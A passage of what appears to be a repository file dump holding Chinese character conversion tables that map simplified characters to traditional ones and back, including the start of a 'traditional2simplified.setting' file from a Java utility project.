n裆=襠\n裈=褌\n裢=褳\n裣=襝\n裤=褲\n裥=襇\n褛=褸\n褴=襤\n见=見\n观=觀\n觃=覎\n规=規\n觅=覓\n视=視\n觇=覘\n览=覽\n觉=覺\n觊=覬\n觋=覡\n觌=覿\n觍=覥\n觎=覦\n觏=覯\n觐=覲\n觑=覷\n觞=觴\n触=觸\n觯=觶\n訚=誾\n誉=譽\n誊=謄\n讠=訁\n计=計\n订=訂\n讣=訃\n认=認\n讥=譏\n讦=訐\n讧=訌\n讨=討\n让=讓\n讪=訕\n讫=訖\n讬=託\n训=訓\n议=議\n讯=訊\n记=記\n讱=訒\n讲=講\n讳=諱\n讴=謳\n讵=詎\n讶=訝\n讷=訥\n许=許\n讹=訛\n论=論\n讻=訩\n讼=訟\n讽=諷\n设=設\n访=訪\n诀=訣\n证=證\n诂=詁\n诃=訶\n评=評\n诅=詛\n识=識\n诇=詗\n诈=詐\n诉=訴\n诊=診\n诋=詆\n诌=謅\n词=詞\n诎=詘\n诏=詔\n诐=詖\n译=譯\n诒=詒\n诓=誆\n诔=誄\n试=試\n诖=詿\n诗=詩\n诘=詰\n诙=詼\n诚=誠\n诛=誅\n诜=詵\n话=話\n诞=誕\n诟=詬\n诠=詮\n诡=詭\n询=詢\n诣=詣\n诤=諍\n该=該\n详=詳\n诧=詫\n诨=諢\n诩=詡\n诪=譸\n诫=誡\n诬=誣\n语=語\n诮=誚\n误=誤\n诰=誥\n诱=誘\n诲=誨\n诳=誑\n说=說\n诵=誦\n诶=誒\n请=請\n诸=諸\n诹=諏\n诺=諾\n读=讀\n诼=諑\n诽=誹\n课=課\n诿=諉\n谀=諛\n谁=誰\n谂=諗\n调=調\n谄=諂\n谅=諒\n谆=諄\n谇=誶\n谈=談\n谊=誼\n谋=謀\n谌=諶\n谍=諜\n谎=謊\n谏=諫\n谐=諧\n谑=謔\n谒=謁\n谓=謂\n谔=諤\n谕=諭\n谖=諼\n谗=讒\n谘=諮\n谙=諳\n谚=諺\n谛=諦\n谜=謎\n谝=諞\n谞=諝\n谟=謨\n谠=讜\n谡=謖\n谢=謝\n谣=謠\n谤=謗\n谥=謚\n谦=謙\n谧=謐\n谨=謹\n谩=謾\n谪=謫\n谫=譾\n谬=謬\n谭=譚\n谮=譖\n谯=譙\n谰=讕\n谱=譜\n谲=譎\n谳=讞\n谴=譴\n谵=譫\n谶=讖\n豮=豶\n贝=貝\n贞=貞\n负=負\n贠=貟\n贡=貢\n财=財\n责=責\n贤=賢\n败=敗\n账=賬\n货=貨\n质=質\n贩=販\n贪=貪\n贫=貧\n贬=貶\n购=購\n贮=貯\n贯=貫\n贰=貳\n贱=賤\n贲=賁\n贳=貰\n贴=貼\n贵=貴\n贶=貺\n贷=貸\n贸=貿\n费=費\n贺=賀\n贻=貽\n贼=賊\n贽=贄\n贾=賈\n贿=賄\n赀=貲\n赁=賃\n赂=賂\n赃=贓\n资=資\n赅=賅\n赆=贐\n赇=賕\n赈=賑\n赉=賚\n赊=賒\n赋=賦\n赌=賭\n赍=齎\n赎=贖\n赏=賞\n赐=賜\n赑=贔\n赒=賙\n赓=賡\n赔=賠\n赕=賧\n赖=賴\n赗=賵\n赘=贅\n赙=賻\n赚=賺\n赛=賽\n赜=賾\n赝=贗\n赞=贊\n赟=贇\n赠=贈\n赡=贍\n赢=贏\n赣=贛\n赪=赬\n赵=趙\n赶=趕\n趋=趨\n趱=趲\n趸=躉\n跃=躍\n跄=蹌\n跞=躒\n践=踐\n跶=躂\n跷=蹺\n跸=蹕\n跹=躚\n跻=躋\n踊=踴\n踌=躊\n踪=蹤\n踬=躓\n踯=躑\n蹑=躡\n蹒=蹣\n蹰=躕\n蹿=躥\n躏=躪\n躜=躦\n躯=軀\n车=車\n轧=軋\n轨=軌\n轩=軒\n轪=軑\n轫=軔\n转=轉\n轭=軛\n轮=輪\n软=軟\n轰=轟\n轱=軲\n轲=軻\n轳=轤\n轴=軸\n轵=軹\n轶=軼\n轷=軤\n轸=軫\n轹=轢\n轺=軺\n轻=輕\n轼=軾\n载=載\n轾=輊\n轿=轎\n辀=輈\n辁=輇\n辂=輅\n较=較\n辄=輒\n辅=輔\n辆=輛\n辇=輦\n辈=輩\n辉=輝\n辊=輥\n辋=輞\n辌=輬\n辍=輟\n辎=輜\n辏=輳\n辐=輻\n辑=輯\n辒=轀\n输=輸\n辔=轡\n辕=轅\n辖=轄\n辗=輾\n辘=轆\n辙=轍\n辚=轔\n辞=辭\n辩=辯\n辫=辮\n边=邊\n辽=遼\n达=達\n迁=遷\n过=過\n迈=邁\n运=運\n还=還\n这=這\n进=進\n远=遠\n违=違\n连=連\n迟=遲\n迩=邇\n迳=逕\n迹=跡\n适=適\n选=選\n逊=遜\n递=遞\n逦=邐\n逻=邏\n遗=遺\n遥=遙\n邓=鄧\n邝=鄺\n邬=鄔\n邮=郵\n邹=鄒\n邺=鄴\n邻=鄰\n郏=郟\n郐=鄶\n郑=鄭\n郓=鄆\n郦=酈\n郧=鄖\n郸=鄲\n酂=酇\n酝=醞\n酦=醱\n酱=醬\n酽=釅\n酾=釃\n酿=釀\n释=釋\n鉴=鑒\n銮=鑾\n錾=鏨\n钅=釒\n钆=釓\n钇=釔\n针=針\n钉=釘\n钊=釗\n钋=釙\n钌=釕\n钍=釷\n钎=釺\n钏=釧\n钐=釤\n钑=鈒\n钒=釩\n钓=釣\n钔=鍆\n钕=釹\n钖=鍚\n钗=釵\n钘=鈃\n钙=鈣\n钚=鈈\n钛=鈦\n钜=鉅\n钝=鈍\n钞=鈔\n钟=鍾\n钠=鈉\n钡=鋇\n钢=鋼\n钣=鈑\n钤=鈐\n钥=鑰\n钦=欽\n钧=鈞\n钨=鎢\n钩=鈎\n钪=鈧\n钫=鈁\n钬=鈥\n钭=鈄\n钮=鈕\n钯=鈀\n钰=鈺\n钱=錢\n钲=鉦\n钳=鉗\n钴=鈷\n钵=缽\n钶=鈳\n钷=鉕\n钸=鈽\n钹=鈸\n钺=鉞\n钻=鑽\n钼=鉬\n钽=鉭\n钾=鉀\n钿=鈿\n铀=鈾\n铁=鐵\n铂=鉑\n铃=鈴\n铄=鑠\n铅=鉛\n铆=鉚\n铇=鉋\n铈=鈰\n铉=鉉\n铊=鉈\n铋=鉍\n铌=鈮\n铍=鈹\n铎=鐸\n铏=鉶\n铐=銬\n铑=銠\n铒=鉺\n铓=鋩\n铔=錏\n铕=銪\n铖=鋮\n铗=鋏\n铘=鋣\n铙=鐃\n铚=銍\n铛=鐺\n铜=銅\n铝=鋁\n铞=銱\n铟=銦\n铠=鎧\n铡=鍘\n铢=銖\n铣=銑\n铤=鋌\n铥=銩\n铦=銛\n铧=鏵\n铨=銓\n铩=鎩\n铪=鉿\n铫=銚\n铬=鉻\n铭=銘\n铮=錚\n铯=銫\n铰=鉸\n铱=銥\n铲=鏟\n铳=銃\n铴=鐋\n铵=銨\n银=銀\n铷=銣\n铸=鑄\n铹=鐒\n铺=鋪\n铻=鋙\n铼=錸\n铽=鋱\n链=鏈\n铿=鏗\n销=銷\n锁=鎖\n锂=鋰\n锃=鋥\n锄=鋤\n锅=鍋\n锆=鋯\n锇=鋨\n锈=銹\n锉=銼\n锊=鋝\n锋=鋒\n锌=鋅\n锍=鋶\n锎=鐦\n锏=鐧\n锐=銳\n锑=銻\n锒=鋃\n锓=鋟\n锔=鋦\n锕=錒\n锖=錆\n锗=鍺\n锘=鍩\n错=錯\n锚=錨\n锛=錛\n锜=錡\n锝=鍀\n锞=錁\n锟=錕\n锠=錩\n锡=錫\n锢=錮\n锣=鑼\n锤=錘\n锥=錐\n锦=錦\n锧=鑕\n锨=杴\n锩=錈\n锪=鍃\n锫=錇\n锬=錟\n锭=錠\n键=鍵\n锯=鋸\n锰=錳\n锱=錙\n锲=鍥\n锳=鍈\n锴=鍇\n锵=鏘\n锶=鍶\n锷=鍔\n锸=鍤\n锹=鍬\n锺=鍾\n锻=鍛\n锼=鎪\n锽=鍠\n锾=鍰\n锿=鎄\n镀=鍍\n镁=鎂\n镂=鏤\n镃=鎡\n镄=鐨\n镅=鎇\n镆=鏌\n镇=鎮\n镈=鎛\n镉=鎘\n镊=鑷\n镋=鎲\n镌=鐫\n镍=鎳\n镎=鎿\n镏=鎦\n镐=鎬\n镑=鎊\n镒=鎰\n镓=鎵\n镔=鑌\n镕=鎔\n镖=鏢\n镗=鏜\n镘=鏝\n镙=鏍\n镚=鏰\n镛=鏞\n镜=鏡\n镝=鏑\n镞=鏃\n镟=鏇\n镠=鏐\n镡=鐔\n镢=钁\n镣=鐐\n镤=鏷\n镥=鑥\n镦=鐓\n镧=鑭\n镨=鐠\n镩=鑹\n镪=鏹\n镫=鐙\n镬=鑊\n镭=鐳\n镮=鐶\n镯=鐲\n镰=鐮\n镱=鐿\n镲=鑔\n镳=鑣\n镴=鑞\n镵=鑱\n镶=鑲\n长=長\n门=門\n闩=閂\n闪=閃\n闫=閆\n闬=閈\n闭=閉\n问=問\n闯=闖\n闰=閏\n闱=闈\n闲=閑\n闳=閎\n间=間\n闵=閔\n闶=閌\n闷=悶\n闸=閘\n闹=鬧\n闺=閨\n闻=聞\n闼=闥\n闽=閩\n闾=閭\n闿=闓\n阀=閥\n阁=閣\n阂=閡\n阃=閫\n阄=鬮\n阅=閱\n阆=閬\n阇=闍\n阈=閾\n阉=閹\n阊=閶\n阋=鬩\n阌=閿\n阍=閽\n阎=閻\n阏=閼\n阐=闡\n阑=闌\n阒=闃\n阓=闠\n阔=闊\n阕=闋\n阖=闔\n阗=闐\n阘=闒\n阙=闕\n阚=闞\n阛=闤\n队=隊\n阳=陽\n阴=陰\n阵=陣\n阶=階\n际=際\n陆=陸\n陇=隴\n陈=陳\n陉=陘\n陕=陝\n陧=隉\n陨=隕\n险=險\n随=隨\n隐=隱\n隶=隸\n隽=雋\n难=難\n雏=雛\n雠=讎\n雳=靂\n雾=霧\n霁=霽\n霡=霢\n霭=靄\n靓=靚\n静=靜\n靥=靨\n鞑=韃\n鞒=鞽\n鞯=韉\n鞲=韝\n韦=韋\n韧=韌\n韨=韍\n韩=韓\n韪=韙\n韫=韞\n韬=韜\n韵=韻\n页=頁\n顶=頂\n顷=頃\n顸=頇\n项=項\n顺=順\n须=須\n顼=頊\n顽=頑\n顾=顧\n顿=頓\n颀=頎\n颁=頒\n颂=頌\n颃=頏\n预=預\n颅=顱\n领=領\n颇=頗\n颈=頸\n颉=頡\n颊=頰\n颋=頲\n颌=頜\n颍=潁\n颎=熲\n颏=頦\n颐=頤\n频=頻\n颒=頮\n颓=頹\n颔=頷\n颕=頴\n颖=穎\n颗=顆\n题=題\n颙=顒\n颚=顎\n颛=顓\n颜=顏\n额=額\n颞=顳\n颟=顢\n颠=顛\n颡=顙\n颢=顥\n颤=顫\n颥=顬\n颦=顰\n颧=顴\n风=風\n飏=颺\n飐=颭\n飑=颮\n飒=颯\n飓=颶\n飔=颸\n飕=颼\n飖=颻\n飗=飀\n飘=飄\n飙=飆\n飚=飈\n飞=飛\n飨=饗\n餍=饜\n饣=飠\n饤=飣\n饥=飢\n饦=飥\n饧=餳\n饨=飩\n饩=餼\n饪=飪\n饫=飫\n饬=飭\n饭=飯\n饮=飲\n饯=餞\n饰=飾\n饱=飽\n饲=飼\n饳=飿\n饴=飴\n饵=餌\n饶=饒\n饷=餉\n饸=餄\n饹=餎\n饺=餃\n饻=餏\n饼=餅\n饽=餑\n饾=餖\n饿=餓\n馀=餘\n馁=餒\n馂=餕\n馃=餜\n馄=餛\n馅=餡\n馆=館\n馇=餷\n馈=饋\n馉=餶\n馊=餿\n馋=饞\n馌=饁\n馍=饃\n馎=餺\n馏=餾\n馐=饈\n馑=饉\n馒=饅\n馓=饊\n馔=饌\n馕=饢\n马=馬\n驭=馭\n驮=馱\n驯=馴\n驰=馳\n驱=驅\n驲=馹\n驳=駁\n驴=驢\n驵=駔\n驶=駛\n驷=駟\n驸=駙\n驹=駒\n驺=騶\n驻=駐\n驼=駝\n驽=駑\n驾=駕\n驿=驛\n骀=駘\n骁=驍\n骂=罵\n骃=駰\n骄=驕\n骅=驊\n骆=駱\n骇=駭\n骈=駢\n骉=驫\n骊=驪\n骋=騁\n验=驗\n骍=騂\n骎=駸\n骏=駿\n骐=騏\n骑=騎\n骒=騍\n骓=騅\n骔=騌\n骕=驌\n骖=驂\n骗=騙\n骘=騭\n骙=騤\n骚=騷\n骛=騖\n骜=驁\n骝=騮\n骞=騫\n骟=騸\n骠=驃\n骡=騾\n骢=驄\n骣=驏\n骤=驟\n骥=驥\n骦=驦\n骧=驤\n髅=髏\n髋=髖\n髌=髕\n鬓=鬢\n魇=魘\n魉=魎\n鱼=魚\n鱽=魛\n鱾=魢\n鱿=魷\n鲀=魨\n鲁=魯\n鲂=魴\n鲃=䰾\n鲄=魺\n鲅=鮁\n鲆=鮃\n鲇=鯰\n鲈=鱸\n鲉=鮋\n鲊=鮓\n鲋=鮒\n鲌=鮊\n鲍=鮑\n鲎=鱟\n鲏=鮍\n鲐=鮐\n鲑=鮭\n鲒=鮚\n鲓=鮳\n鲔=鮪\n鲕=鮞\n鲖=鮦\n鲗=鰂\n鲘=鮜\n鲙=鱠\n鲚=鱭\n鲛=鮫\n鲜=鮮\n鲝=鮺\n鲞=鯗\n鲟=鱘\n鲠=鯁\n鲡=鱺\n鲢=鰱\n鲣=鰹\n鲤=鯉\n鲥=鰣\n鲦=鰷\n鲧=鯀\n鲨=鯊\n鲩=鯇\n鲪=鮶\n鲫=鯽\n鲬=鯒\n鲭=鯖\n鲮=鯪\n鲯=鯕\n鲰=鯫\n鲱=鯡\n鲲=鯤\n鲳=鯧\n鲴=鯝\n鲵=鯢\n鲶=鯰\n鲷=鯛\n鲸=鯨\n鲹=鰺\n鲺=鯴\n鲻=鯔\n鲼=鱝\n鲽=鰈\n鲾=鰏\n鲿=鱨\n鳀=鯷\n鳁=鰮\n鳂=鰃\n鳃=鰓\n鳄=鱷\n鳅=鰍\n鳆=鰒\n鳇=鰉\n鳈=鰁\n鳉=鱂\n鳊=鯿\n鳋=鰠\n鳌=鰲\n鳍=鰭\n鳎=鰨\n鳏=鰥\n鳐=鰩\n鳑=鰟\n鳒=鰜\n鳓=鰳\n鳔=鰾\n鳕=鱈\n鳖=鱉\n鳗=鰻\n鳘=鰵\n鳙=鱅\n鳚=䲁\n鳛=鰼\n鳜=鱖\n鳝=鱔\n鳞=鱗\n鳟=鱒\n鳠=鱯\n鳡=鱤\n鳢=鱧\n鳣=鱣\n鸟=鳥\n鸠=鳩\n鸡=雞\n鸢=鳶\n鸣=鳴\n鸤=鳲\n鸥=鷗\n鸦=鴉\n鸧=鶬\n鸨=鴇\n鸩=鴆\n鸪=鴣\n鸫=鶇\n鸬=鸕\n鸭=鴨\n鸮=鴞\n鸯=鴦\n鸰=鴒\n鸱=鴟\n鸲=鴝\n鸳=鴛\n鸴=鷽\n鸵=鴕\n鸶=鷥\n鸷=鷙\n鸸=鴯\n鸹=鴰\n鸺=鵂\n鸻=鴴\n鸼=鵃\n鸽=鴿\n鸾=鸞\n鸿=鴻\n鹀=鵐\n鹁=鵓\n鹂=鸝\n鹃=鵑\n鹄=鵠\n鹅=鵝\n鹆=鵒\n鹇=鷳\n鹈=鵜\n鹉=鵡\n鹊=鵲\n鹋=鶓\n鹌=鵪\n鹍=鵾\n鹎=鵯\n鹏=鵬\n鹐=鵮\n鹑=鶉\n鹒=鶊\n鹓=鵷\n鹔=鷫\n鹕=鶘\n鹖=鶡\n鹗=鶚\n鹘=鶻\n鹙=鶖\n鹚=鶿\n鹛=鶥\n鹜=鶩\n鹝=鷊\n鹞=鷂\n鹟=鶲\n鹠=鶹\n鹡=鶺\n鹢=鷁\n鹣=鶼\n鹤=鶴\n鹥=鷖\n鹦=鸚\n鹧=鷓\n鹨=鷚\n鹩=鷯\n鹪=鷦\n鹫=鷲\n鹬=鷸\n鹭=鷺\n鹯=鸇\n鹰=鷹\n鹱=鸌\n鹲=鸏\n鹳=鸛\n鹴=鸘\n鹾=鹺\n麦=麥\n麸=麩\n黄=黃\n黉=黌\n黡=黶\n黩=黷\n黪=黲\n黾=黽\n鼋=黿\n鼍=鼉\n鼗=鞀\n鼹=鼴\n齄=齇\n齐=齊\n齑=齏\n齿=齒\n龀=齔\n龁=齕\n龂=齗\n龃=齟\n龄=齡\n龅=齙\n龆=齠\n龇=齜\n龈=齦\n龉=齬\n龊=齪\n龋=齲\n龌=齷\n龙=龍\n龚=龔\n龛=龕\n龟=龜\n𠮶=嗰\n𡒄=壈\n𦈖=䌈\n𨰾=鎷\n𨰿=釳\n𨱀=𨥛\n𨱁=鈠\n𨱂=鈋\n𨱃=鈲\n𨱄=鈯\n𨱅=鉁\n𨱇=銶\n𨱈=鋉\n𨱉=鍄\n𨱊=𨧱\n𨱋=錂\n𨱌=鏆\n𨱍=鎯\n𨱎=鍮\n𨱏=鎝\n𨱐=𨫒\n𨱒=鏉\n𨱓=鐎\n𨱔=鐏\n𨱕=𨮂\n𨸂=閍\n𨸃=閐\n𩏼=䪏\n𩏽=𩏪\n𩏾=𩎢\n𩏿=䪘\n𩐀=䪗\n𩖕=𩓣\n𩖖=顃\n𩖗=䫴\n𩙥=颰\n𩙦=𩗀\n𩙧=𩗡\n𩙨=𩘹\n𩙩=𩘀\n𩙪=颷\n𩙫=颾\n𩙬=𩘺\n𩙭=𩘝\n𩙮=䬘\n𩙯=䬝\n𩙰=𩙈\n𩠅=𩟐\n𩠆=𩜦\n𩠇=䭀\n𩠈=䭃\n𩠋=𩝔\n𩠌=餸\n𩧦=𩡺\n𩧨=駎\n𩧩=𩤊\n𩧪=䮾\n𩧫=駚\n𩧬=𩢡\n𩧭=䭿\n𩧮=𩢾\n𩧯=驋\n𩧰=䮝\n𩧱=𩥉\n𩧲=駧\n𩧳=𩢸\n𩧴=駩\n𩧵=𩢴\n𩧶=𩣏\n𩧺=駶\n𩧻=𩣵\n𩧼=𩣺\n𩧿=䮠\n𩨀=騔\n𩨁=䮞\n𩨃=騝\n𩨄=騪\n𩨅=𩤸\n𩨆=𩤙\n𩨈=騟\n𩨉=𩤲\n𩨊=騚\n𩨋=𩥄\n𩨌=𩥑\n𩨍=𩥇\n𩨏=䮳\n𩨐=𩧆\n𩽹=魥\n𩽺=𩵩\n𩽻=𩵹\n𩽼=鯶\n𩽽=𩶱\n𩽾=鮟\n𩽿=𩶰\n𩾀=鮕\n𩾁=鯄\n𩾃=鮸\n𩾄=𩷰\n𩾅=𩸃\n𩾆=𩸦\n𩾇=鯱\n𩾈=䱙\n𩾊=䱬\n𩾋=䱰\n𩾌=鱇\n𩾎=𩽇\n𪉂=䲰\n𪉃=鳼\n𪉄=𩿪\n𪉅=𪀦\n𪉆=鴲\n𪉈=鴜\n𪉉=𪁈\n𪉊=鷨\n𪉋=𪀾\n𪉌=𪁖\n𪉍=鵚\n𪉎=𪂆\n𪉏=𪃏\n𪉐=𪃍\n𪉑=鷔\n𪉒=𪄕\n𪉔=𪄆\n𪉕=𪇳\n𪎈=䴬\n𪎉=麲\n𪎊=麨\n𪎋=䴴\n𪎌=麳\n𪚏=𪘀\n𪚐=𪘯\n=棡\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/resources/data/traditional2simplified.setting",
    "content": "# **************************************************************\n# ----- Setting File with UTF8-----\n# ----- 繁体中文转换简体中文对照表 -----\n# @ see http://zh.wikipedia.org/zh-cn/Wikipedia:Unihan%E7%B9%81%E7%AE%80%E4%BD%93%E5%AF%B9%E7%85%A7%E8%A1%A8/%E7%B9%81%E7%AE%80%E4%B8%80%E4%B8%80%E5%AF%B9%E5%BA%94%E8%A1%A8\n# **************************************************************\n\n㑳=㑇\n㠏=㟆\n㩜=㨫\n䊷=䌶\n䋙=䌺\n䋻=䌾\n䌈=𦈖\n䝼=䞍\n䪏=𩏼\n䪗=𩐀\n䪘=𩏿\n䫴=𩖗\n䬘=𩙮\n䬝=𩙯\n䭀=𩠇\n䭃=𩠈\n䭿=𩧭\n䮝=𩧰\n䮞=𩨁\n䮠=𩧿\n䮳=𩨏\n䮾=𩧪\n䯀=䯅\n䰾=鲃\n䱙=𩾈\n䱬=𩾊\n䱰=𩾋\n䱷=䲣\n䱽=䲝\n䲁=鳚\n䲰=𪉂\n䴬=𪎈\n䴴=𪎋\n丟=丢\n並=并\n乾=干\n亂=乱\n亙=亘\n亞=亚\n佇=伫\n佈=布\n佔=占\n併=并\n來=来\n侖=仑\n侶=侣\n俁=俣\n係=系\n俔=伣\n俠=侠\n倀=伥\n倆=俩\n倈=俫\n倉=仓\n個=个\n們=们\n倖=幸\n倫=伦\n偉=伟\n側=侧\n偵=侦\n偽=伪\n傑=杰\n傖=伧\n傘=伞\n備=备\n傢=家\n傭=佣\n傯=偬\n傳=传\n傴=伛\n債=债\n傷=伤\n傾=倾\n僂=偻\n僅=仅\n僉=佥\n僑=侨\n僕=仆\n僞=伪\n僥=侥\n僨=偾\n僱=雇\n價=价\n儀=仪\n儂=侬\n億=亿\n儈=侩\n儉=俭\n儐=傧\n儔=俦\n儕=侪\n儘=尽\n償=偿\n優=优\n儲=储\n儷=俪\n儸=㑩\n儺=傩\n儻=傥\n儼=俨\n兇=凶\n兌=兑\n兒=儿\n兗=兖\n內=内\n兩=两\n冊=册\n冪=幂\n凈=净\n凍=冻\n凜=凛\n凱=凯\n別=别\n刪=删\n剄=刭\n則=则\n剋=克\n剎=刹\n剗=刬\n剛=刚\n剝=剥\n剮=剐\n剴=剀\n創=创\n剷=铲\n劃=划\n劇=剧\n劉=刘\n劊=刽\n劌=刿\n劍=剑\n劏=㓥\n劑=剂\n劚=㔉\n勁=劲\n動=动\n務=务\n勛=勋\n勝=胜\n勞=劳\n勢=势\n勩=勚\n勱=劢\n勳=勋\n勵=励\n勸=劝\n勻=匀\n匭=匦\n匯=汇\n匱=匮\n區=区\n協=协\n卻=却\n卽=即\n厙=厍\n厠=厕\n厤=历\n厭=厌\n厲=厉\n厴=厣\n參=参\n叄=叁\n叢=丛\n吒=咤\n吳=吴\n吶=呐\n呂=吕\n咼=呙\n員=员\n唄=呗\n唚=吣\n問=问\n啓=启\n啞=哑\n啟=启\n啢=唡\n喎=㖞\n喚=唤\n喪=丧\n喫=吃\n喬=乔\n單=单\n喲=哟\n嗆=呛\n嗇=啬\n嗊=唝\n嗎=吗\n嗚=呜\n嗩=唢\n嗰=𠮶\n嗶=哔\n嘆=叹\n嘍=喽\n嘔=呕\n嘖=啧\n嘗=尝\n嘜=唛\n嘩=哗\n嘮=唠\n嘯=啸\n嘰=叽\n嘵=哓\n嘸=呒\n嘽=啴\n噁=恶\n噓=嘘\n噚=㖊\n噝=咝\n噠=哒\n噥=哝\n噦=哕\n噯=嗳\n噲=哙\n噴=喷\n噸=吨\n噹=当\n嚀=咛\n嚇=吓\n嚌=哜\n嚐=尝\n嚕=噜\n嚙=啮\n嚥=咽\n嚦=呖\n嚨=咙\n嚮=向\n嚲=亸\n嚳=喾\n嚴=严\n嚶=嘤\n囀=啭\n囁=嗫\n囂=嚣\n囅=冁\n囈=呓\n囌=苏\n囑=嘱\n囪=囱\n圇=囵\n國=国\n圍=围\n園=园\n圓=圆\n圖=图\n團=团\n垵=埯\n埡=垭\n埰=采\n執=执\n堅=坚\n堊=垩\n堖=垴\n堝=埚\n堯=尧\n報=报\n場=场\n塊=块\n塋=茔\n塏=垲\n塒=埘\n塗=涂\n塚=冢\n塢=坞\n塤=埙\n塵=尘\n塹=堑\n墊=垫\n墜=坠\n墮=堕\n墰=坛\n墳=坟\n墻=墙\n墾=垦\n壇=坛\n壈=𡒄\n壋=垱\n壓=压\n壘=垒\n壙=圹\n壚=垆\n壜=坛\n壞=坏\n壟=垄\n壠=垅\n壢=坜\n壩=坝\n壯=壮\n壺=壶\n壼=壸\n壽=寿\n夠=够\n夢=梦\n夥=伙\n夾=夹\n奐=奂\n奧=奥\n奩=奁\n奪=夺\n奬=奖\n奮=奋\n奼=姹\n妝=妆\n姍=姗\n姦=奸\n娛=娱\n婁=娄\n婦=妇\n婭=娅\n媧=娲\n媯=妫\n媼=媪\n媽=妈\n嫗=妪\n嫵=妩\n嫻=娴\n嫿=婳\n嬀=妫\n嬈=娆\n嬋=婵\n嬌=娇\n嬙=嫱\n嬡=嫒\n嬤=嬷\n嬪=嫔\n嬰=婴\n嬸=婶\n孌=娈\n孫=孙\n學=学\n孿=孪\n宮=宫\n寀=采\n寢=寝\n實=实\n寧=宁\n審=审\n寫=写\n寬=宽\n寵=宠\n寶=宝\n將=将\n專=专\n尋=寻\n對=对\n導=导\n尷=尴\n屆=届\n屍=尸\n屓=屃\n屜=屉\n屢=屡\n層=层\n屨=屦\n屬=属\n岡=冈\n峴=岘\n島=岛\n峽=峡\n崍=崃\n崑=昆\n崗=岗\n崙=仑\n崢=峥\n崬=岽\n嵐=岚\n嵗=岁\n嶁=嵝\n嶄=崭\n嶇=岖\n嶔=嵚\n嶗=崂\n嶠=峤\n嶢=峣\n嶧=峄\n嶮=崄\n嶴=岙\n嶸=嵘\n嶺=岭\n嶼=屿\n嶽=岳\n巋=岿\n巒=峦\n巔=巅\n巰=巯\n巹=卺\n帥=帅\n師=师\n帳=帐\n帶=带\n幀=帧\n幃=帏\n幗=帼\n幘=帻\n幟=帜\n幣=币\n幫=帮\n幬=帱\n幹=干\n幺=么\n幾=几\n庫=库\n廁=厕\n廂=厢\n廄=厩\n廈=厦\n廚=厨\n廝=厮\n廟=庙\n廠=厂\n廡=庑\n廢=废\n廣=广\n廩=廪\n廬=庐\n廳=厅\n弒=弑\n弔=吊\n弳=弪\n張=张\n強=强\n彆=别\n彈=弹\n彌=弥\n彎=弯\n彙=汇\n彞=彝\n彥=彦\n後=后\n徑=径\n從=从\n徠=徕\n復=复\n徵=征\n徹=彻\n恆=恒\n恥=耻\n悅=悦\n悞=悮\n悵=怅\n悶=闷\n惡=恶\n惱=恼\n惲=恽\n惻=恻\n愛=爱\n愜=惬\n愨=悫\n愴=怆\n愷=恺\n愾=忾\n慄=栗\n態=态\n慍=愠\n慘=惨\n慚=惭\n慟=恸\n慣=惯\n慤=悫\n慪=怄\n慫=怂\n慮=虑\n慳=悭\n慶=庆\n慼=戚\n慾=欲\n憂=忧\n憊=惫\n憐=怜\n憑=凭\n憒=愦\n憚=惮\n憤=愤\n憫=悯\n憮=怃\n憲=宪\n憶=忆\n懇=恳\n應=应\n懌=怿\n懍=懔\n懞=蒙\n懟=怼\n懣=懑\n懨=恹\n懲=惩\n懶=懒\n懷=怀\n懸=悬\n懺=忏\n懼=惧\n懾=慑\n戀=恋\n戇=戆\n戔=戋\n戧=戗\n戩=戬\n戰=战\n戱=戯\n戲=戏\n戶=户\n拋=抛\n拚=拼\n挩=捝\n挱=挲\n挾=挟\n捨=舍\n捫=扪\n捱=挨\n捲=卷\n掃=扫\n掄=抡\n掗=挜\n掙=挣\n掛=挂\n採=采\n揀=拣\n揚=扬\n換=换\n揮=挥\n損=损\n搖=摇\n搗=捣\n搵=揾\n搶=抢\n摑=掴\n摜=掼\n摟=搂\n摯=挚\n摳=抠\n摶=抟\n摺=折\n摻=掺\n撈=捞\n撏=挦\n撐=撑\n撓=挠\n撝=㧑\n撟=挢\n撣=掸\n撥=拨\n撫=抚\n撲=扑\n撳=揿\n撻=挞\n撾=挝\n撿=捡\n擁=拥\n擄=掳\n擇=择\n擊=击\n擋=挡\n擓=㧟\n擔=担\n據=据\n擠=挤\n擬=拟\n擯=摈\n擰=拧\n擱=搁\n擲=掷\n擴=扩\n擷=撷\n擺=摆\n擻=擞\n擼=撸\n擾=扰\n攄=摅\n攆=撵\n攏=拢\n攔=拦\n攖=撄\n攙=搀\n攛=撺\n攜=携\n攝=摄\n攢=攒\n攣=挛\n攤=摊\n攪=搅\n攬=揽\n敗=败\n敘=叙\n敵=敌\n數=数\n斂=敛\n斃=毙\n斕=斓\n斬=斩\n斷=断\n於=于\n旂=旗\n旣=既\n昇=升\n時=时\n晉=晋\n晝=昼\n暈=晕\n暉=晖\n暘=旸\n暢=畅\n暫=暂\n曄=晔\n曆=历\n曇=昙\n曉=晓\n曏=向\n曖=暧\n曠=旷\n曨=昽\n曬=晒\n書=书\n會=会\n朧=胧\n朮=术\n東=东\n杴=锨\n柵=栅\n桿=杆\n梔=栀\n梘=枧\n條=条\n梟=枭\n梲=棁\n棄=弃\n棊=棋\n棖=枨\n棗=枣\n棟=栋\n棡=\n棧=栈\n棲=栖\n棶=梾\n椏=桠\n楊=杨\n楓=枫\n楨=桢\n業=业\n極=极\n榦=干\n榪=杩\n榮=荣\n榲=榅\n榿=桤\n構=构\n槍=枪\n槓=杠\n槤=梿\n槧=椠\n槨=椁\n槳=桨\n樁=桩\n樂=乐\n樅=枞\n樑=梁\n樓=楼\n標=标\n樞=枢\n樣=样\n樸=朴\n樹=树\n樺=桦\n橈=桡\n橋=桥\n機=机\n橢=椭\n橫=横\n檁=檩\n檉=柽\n檔=档\n檜=桧\n檟=槚\n檢=检\n檣=樯\n檮=梼\n檯=台\n檳=槟\n檸=柠\n檻=槛\n櫃=柜\n櫓=橹\n櫚=榈\n櫛=栉\n櫝=椟\n櫞=橼\n櫟=栎\n櫥=橱\n櫧=槠\n櫨=栌\n櫪=枥\n櫫=橥\n櫬=榇\n櫱=蘖\n櫳=栊\n櫸=榉\n櫻=樱\n欄=栏\n欅=榉\n權=权\n欏=椤\n欒=栾\n欖=榄\n欞=棂\n欽=钦\n歎=叹\n歐=欧\n歟=欤\n歡=欢\n歲=岁\n歷=历\n歸=归\n歿=殁\n殘=残\n殞=殒\n殤=殇\n殨=㱮\n殫=殚\n殭=僵\n殮=殓\n殯=殡\n殰=㱩\n殲=歼\n殺=杀\n殻=壳